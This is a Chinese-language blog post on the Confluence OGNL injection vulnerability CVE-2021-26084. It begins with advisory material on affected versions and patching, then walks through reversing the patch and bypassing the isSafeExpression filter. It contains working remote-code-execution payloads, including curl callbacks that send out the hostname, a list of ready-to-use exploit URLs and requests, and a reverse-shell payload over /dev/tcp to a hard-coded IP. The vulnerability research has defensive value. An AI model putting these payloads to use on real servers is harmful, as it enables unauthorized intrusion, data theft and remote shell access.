CVE-2021-26084 Confluence远程代码执行漏洞

CVE-2021-26084 Confluence远程代码执行漏洞

执行摘要

在2021年8月25日,Atlassian在合流服务器和数据中心发布了一个安全顾问,CVE-2021-26084的注入漏洞。如果该漏洞被利用,攻击者可以绕过身份验证并在未打补丁的系统上运行任意代码。自本公告发布以来,大规模扫描活动已经开始,寻找未打补丁的系统,并开始进行野外利用。Unit 42 建议客户升级到最新版本的 Confluence Server 和 Data Center。

CVE-2021-26084 Confluence远程代码执行漏洞

受影响的系统

易受 CVE-2021-26084 攻击的 Atlassian 产品是使用以下版本的 Confluence Server 和 Data Center 的产品:

  • 所有 4.xx 版本。
  • 所有 5.xx 版本。
  • 所有 6.0.x 版本。
  • 所有 6.1.x 版本。
  • 所有 6.2.x 版本。
  • 所有 6.3.x 版本。
  • 所有 6.4.x 版本。
  • 所有 6.5.x 版本。
  • 所有 6.6.x 版本。
  • 所有 6.7.x 版本。
  • 所有 6.8.x 版本。
  • 所有 6.9.x 版本。
  • 所有 6.10.x 版本。
  • 所有 6.11.x 版本。
  • 所有 6.12.x 版本。
  • 6.13.23 之前的所有 6.13.x 版本。
  • 所有 6.14.x 版本。
  • 所有 6.15.x 版本。
  • 所有 7.0.x 版本。
  • 所有 7.1.x 版本。
  • 所有 7.2.x 版本。
  • 所有 7.3.x 版本。
  • 7.4.11 之前的所有 7.4.x 版本。
  • 所有 7.5.x 版本。
  • 所有 7.6.x 版本。
  • 所有 7.7.x 版本。
  • 所有 7.8.x 版本。
  • 所有 7.9.x 版本。
  • 所有 7.10.x 版本。
  • 7.11.6 之前的所有 7.11.x 版本。
  • 7.12.5 之前的所有 7.12.x 版本。

Confluence Cloud 客户不受此漏洞的影响。
升级到版本 6.13.23、7.11.6、7.12.5、7.13.0 或 7.4.11 的客户不受影响。

缓解措施

我们建议客户将 Atlassian Confluence Server 和 Data Center 更新到最新版本7.13.0 (TLS)。您可以在Atlassian 的下载中心找到最新版本。

如果您无法安装最新升级,请参阅 Atlassian 安全公告中的缓解部分,了解有关如何通过为您的 Confluence 服务器托管的操作系统运行脚本来缓解此漏洞的信息。

POC详情

这看起来是一个很好的漏洞赏金目标,因此我们开始逆向补丁。所以我们先让它并弹出一个shell。

CVE-2021-26084 Confluence远程代码执行漏洞

分析热补丁

通常,您会在打补丁和未打补丁的版本之间进行比较以查找更改的文件,但在这种情况下,Atlassian 通过提供修补安装的 shell 脚本使其更容易。

在浏览该公告时,我们发现Atlassian 为该 CVE 发布了一个修补程序

查看 shell 脚本,很明显有一些*.vm文件被修改了一些字符串匹配和替换,这意味着漏洞应该位于其中的某个地方。

我们迅速获取了 Confluence Server 的未打补丁版本 (7.12.4),解压缩并确保我们正确理解了补丁,我们创建了一个 Confluence 服务器的副本并在该副本上应用了补丁脚本。

从脚本的输出中可以清楚地看出,我们只更改了 3 个文件,因此我们开始查看更改的第一个文件,即, <confluence_dir>/confluence/pages/createpage-entervariables.vm

CVE-2021-26084 Confluence远程代码执行漏洞

接下来,步骤是找到这些文件的路由,结果非常简单。我们对createpage-entervariables.vm进行了递归 grep ,我们发现这个文件xwork.xml似乎包含 url 模式(路由)以及实际实现存在的类(和方法)。

CVE-2021-26084 Confluence远程代码执行漏洞

在这里,name动作元素的属性值对应于路径,/<nameValue>.action并且该元素包含基于错误/成功等将作为响应的一部分呈现的模板。

因此,例如,简单地访问/pages/doenterpagevariables.action应该呈现修改后的速度模板文件,即createpage-entervariables.vm. 请记住,无论您是否打开注册功能,任何呈现此模板的路由都会导致完全未授权漏洞。

CVE-2021-26084 Confluence远程代码执行漏洞

我们可以看到velocity模板是如何渲染成一个HTML页面的

CVE-2021-26084 Confluence远程代码执行漏洞

我们没有直接跳到代码中,而是采用了黑盒方法,尝试在模板中输入标签名称作为参数,发现这些值实际上是从请求参数中获取并反映在响应中的。

    #tag ("Hidden" "name='queryString'" "value='$!queryString'")
...
    #tag ("Hidden" "name='linkCreation'" "value='$linkCreation")

在修补程序中进行此更改后,我们在请求中添加了一个随机参数,我们发现它在 $!queryString

由于在此之前我们不熟悉 Velocity 中的 OGNL 或模板注入,我们只是直接使用#{} %{} ${}like 表达式等对其进行了尝试,但似乎两者都不起作用,并且它们在页面中原样回响。

然后,我们考虑将queryString其自身作为参数名称进行尝试,令我们惊讶的是它确实有效,并且该值再次反映在queryString输入标签中。但同样没有表达式评估的骰子。

我们尝试打破引号,然后评估表达式,'+#{3*33}+'但都没有奏效。

在玩了queryString一点之后,引起我们注意的一件事 – 添加反斜杠后\queryString输入的 value 属性这次没有完全呈现。似乎要么我们能够脱离上下文,要么正在渲染某种转义序列。当queryString=\\我们发现这个时候,这个值出现了,\这意味着它是后者。

尝试了一个十六进制转义序列,\x2f但该值没有再次呈现,将\\x2f我们\x2f放入响应中,然后我们尝试了 unicode 转义序列,\u002f是的,它们被标准化为实际值,即\

因此,从速度模板中知道输入位于单引号内,这次我们试图打破它,\u0027当 value 属性没有再次反映时,我们的怀疑变得更加强烈。再次尝试使用 \u0022 但是刚刚给了我们value="&quot;”

在此之后,它只是平衡引号, queryString=aaaa\u0027%2b\u0027bbb正如预期的那样,这次 value 属性出现了,value="aaaabbb"这意味着上下文被破坏并且我们的输入被连接。

接下来,简单地将它与一个 OGNL 表达式连接起来#{3*333},例如,queryString=aaaa\u0027%2b#{3*333}%2b\u0027bbb这是我们的未经授权的 OGNL 表达式评估:)

CVE-2021-26084 Confluence远程代码执行漏洞

绕过 isSafeExpression

就在我们以为结束并试图直接执行一个表达式时,该表达式将为我们执行之前 Confluence 模板注入中的命令。它没有用!

退后一步,发现只有少数变量/对象是可访问的。

示例:#{session},#{attrs}等工作但我们无法获得请求/响应对象,甚至不能使用#parameters,我们也无法设置暗示存在一些检查的变量。

我们查看了 Confluence 日志,发现了这个

CVE-2021-26084 Confluence远程代码执行漏洞

isSafeExpression 方法在评估我们的 OGNL 表达式之前被调用,它基本上编译了我们的 OGNL 表达式,并查看是否在其中调用了一些恶意属性/方法。

CVE-2021-26084 Confluence远程代码执行漏洞

恶意变量、属性、节点类型和方法等被硬编码在这个静态块中,这说明为什么 #parameters #request 对我们不起作用

CVE-2021-26084 Confluence远程代码执行漏洞

编译 OGNL 表达式并调用 containsUnsafeExpression(..)

CVE-2021-26084 Confluence远程代码执行漏洞

检查我们解析的表达式的 AST 节点树以获取硬编码的黑名单

正如我们所见,该getClass()方法也被列入了黑名单,因为它"".getClass()是获取类的实例并执行 Java 反射以执行命令的最常用方法。

我们用谷歌搜索了一下,从Orange那里发现了这个,我们也可以class使用数组访问器而不是getClass方法或.class属性来访问属性。

payload将是 – 

queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022]}%2b\u0027bbb

解码为 – 

queryString=aaa'+#{""["class"]}+'bbb
CVE-2021-26084 Confluence远程代码执行漏洞

之后,它就尽可能简单了,我们得到了一个java.lang.Runtime类的实例,调用getRuntime()并最终调用该exec方法以获得我们急需的命令执行。

Payload – 

queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl <instance>.burpcollaborator.net\u0022)}%2b\u0027

解码为

queryString=aaa'+
#{

""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")

}
+'
#tag ( "Hidden" name="queryString" value="''+#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}+''" )

奖励 – 更好的payload

虽然我们得到了代码执行,但是命令的运行方式是有限制的。限制在于java.lang.Runtime.getRuntime().exec("String Command")它自己。因此,我们不能使用重定向( < > )或 Bash 扩展,如 $() 或 “ 甚至像 ;、|、&& 等运算符。

为了规避这一点,我们可以使用重载的 exec 方法,该方法将数组作为参数。

java.lang.Runtime.getRuntime().exec(new String[]{{"/bin/bash","-c", "any linux command here"})

但不幸的isSafeExpression是,使用new String[]. 我们花了很多时间在 Reflections API 的帮助下创建 java 数组,但也没有运气。

最后我们遇到了这个优雅的解决方案,它利用javax.script.ScriptEngineManagerjavascript 语法执行 java 代码。更多关于这个的Beans Validation RCE by @pwntester

具有shell功能的最终payload:

queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var x=new java.lang.ProcessBuilder;x.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027'.$cmd.'\u0027]);x.start()\u0022)}%2b\u0027

被解码为 –

queryString=aaa'+
#{

""["class"].forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var x=new java.lang.ProcessBuilder;x.command(['/bin/bash','-c','curl domain/$(hostname)']);x.start()");

}
+'
CVE-2021-26084 Confluence远程代码执行漏洞

奖励 – 调试

免责声明 – 我们无法确定代码流中的问题究竟出在哪里,但这是我们的初步调查

找出 OGNL 表达式在速度模板内部的用户输入中是如何解析的。我们设置了一个断点isSafeExpression来查看调用堆栈的样子。

根据我们的理解和调试,我们得出了这个结论:

#tagVelocity 模板中组件的属性被评估为 OGNL 表达式,以将模板转换为 HTML。

  • AST*&AbstractTagDirective类的render 方法被调用,它反过来调用
    • 的 processTag 方法AbstractTagDirective,调用 doEndTag
      • 而且evaluateParams是所有名称和值的属性分别试图找到和最终由法解析为OGNL表达式findValue(),但在此之前,
        • SafeExpressionUtil.isSafeExpression 被调用以检查恶意表达式,一旦表达式被认为是安全的,则再次调用 OgnlValueStack.findValue(..)。
CVE-2021-26084 Confluence远程代码执行漏洞

最后我们到达Object o = expressions.get(expression);内部Ognlutil.Compile方法,这里的表达式是我们的payload在执行这一行之后,我们的输入中的 unicode 转义被解码并再次解析表达式。>这种 unicode 解码可能是因为 Matthias [tweeted ( https://twitter.com/matthias_kaiser/status/1432669762442698753 ) 关于成为OGNL 的事情

CVE-2021-26084 Confluence远程代码执行漏洞
CVE-2021-26084 Confluence远程代码执行漏洞
  • 调用堆栈返回,在那里它成为 Writer 对象的一部分(并最终成为 HTML 的一部分)。
CVE-2021-26084 Confluence远程代码执行漏洞

from


2021年10月9日更新如下payloads

详情见GitHub

# UnAuthenticated RCE——基于httpvoid上令人敬畏的编写;由Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob)[8]提供

curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'

# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

# Confluence < 7.12.14的Authenticated RCE,在Confluence服务器上需要一个有效的用户帐户

http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

对于Confluence 7.12.14, newSpaceKey parm将被更新为用户具有添加页面权限的空格的Space键

http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027

#下面的有效负载生成一个反向shell到一个运行netcat监听器的远程主机。BurpSuite插件Hackvertor标签已被用于可读性,必须相应地转换

http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注